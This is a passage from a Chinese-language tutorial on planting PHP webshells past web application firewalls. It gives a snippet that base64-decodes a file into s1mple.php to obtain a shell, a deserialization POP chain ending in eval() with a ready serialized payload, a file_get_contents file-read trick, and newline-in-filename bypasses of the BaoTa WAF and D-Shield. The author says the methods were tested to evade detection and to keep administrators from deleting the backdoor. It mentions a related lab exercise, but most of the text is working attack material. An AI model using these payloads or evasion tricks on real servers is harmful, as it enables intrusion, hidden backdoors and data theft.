$path ="/xx/xxx/xx/1.php";
$str= file_get_contents($path);
$strs = base64_decode($str);
$s1mple = fopen("./s1mple.php","w");
fwrite($s1mple,$strs);fclose($s1mple);?>
代码逻辑简单,将我们的文件,进行了base64解密,然后写入的一个新的php文件中,这样避免了file_put_contents这个极大概率被ban的函数的出现,又成功的写入了文件,我们访问2.php,然后再访问s1mple.php就可以拿到shell;载荷效果如下:
四:利用低危木马;
基于第三种方法,我们如果不是拿权限的话,也是可以利用一些低危的操作,比如任意文件读取等等;
下面先来看这段getshell的代码
或者换种方法,这里我们可以直接file_get_contents函数进行攻击,
这样也就可以达到任意文件读取,当然,因为php的特性,也可以对file_get_contents进行各种处理,使其绕过waf;也可以结合其他php的内置函数进行攻击,可以类比;这里不在细说;
五:利用逻辑问题
这种思想比较新颖;简单来说,我们并不是传入恶意代码,而是传入一段正常的代码,然后通过逻辑修改其运作走向,从而达到恶意执行,那么适合的就是pop链的构造了;
<?phperror_reporting (0);class s1mple{public $A;function __construct{$this->A=new hacker;}function __destruct{$this->A->action;}}class hacker{function action{echo "hello_hacker";}}class evil{public $data;function action{eval($this->data);}}unserialize($_GET['a']);
先来看正常的代码;这段代码中我们按照正常的逻辑分析,肯定是没有问题的;但是我们可以利用逻辑,改变其执行的走向从而进行对象注入达到攻击;
O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo;";}}
在我们一般的上传中,往往是图片,就单代码而言,其大小是微乎其微的;所以在实战中也可用到;而且很难被检测到;当然,这只是一种方式,也可以结合回调函数和其他的函数,可以将其隐藏起来,然后利用pop触发;而且如果代码伪造的合适的话,也是可以骗过管理员从而避免被管理员删除的;
六:利用过宝塔waf思路另辟蹊径绕过waf
宝塔的waf对于文件明后缀的检测,是可以通过换行进行绕过的;就譬如我们在例子一中说的那样,那么我们除了对于我们后缀进行换行绕过,我们也可以考虑对我们的filename做手脚;对filename做换行,也可以绕过;
以上这些方法也算是新式方法,当然也可以考虑异或或者自增的木马,也可以通过混淆进行攻击,都可;但是实际中这些往往会被检测,上述的几种方法都是测试后可绕过D盾或者绕过宝塔的方法,供参考;另外一些方法需要可以首先绕过上传对后缀的检测,比如可以换行绕过宝塔对后缀的检测;如果可以上传php,那么以上方法即可任意发挥攻击。
相关实验:WAF渗透攻防实践
通过该实验了解基于规则的WAF的工作原理,通过分析相关防御规则,尝试使用多种方法进行绕过,使读者直观感受攻防双方的博弈过程。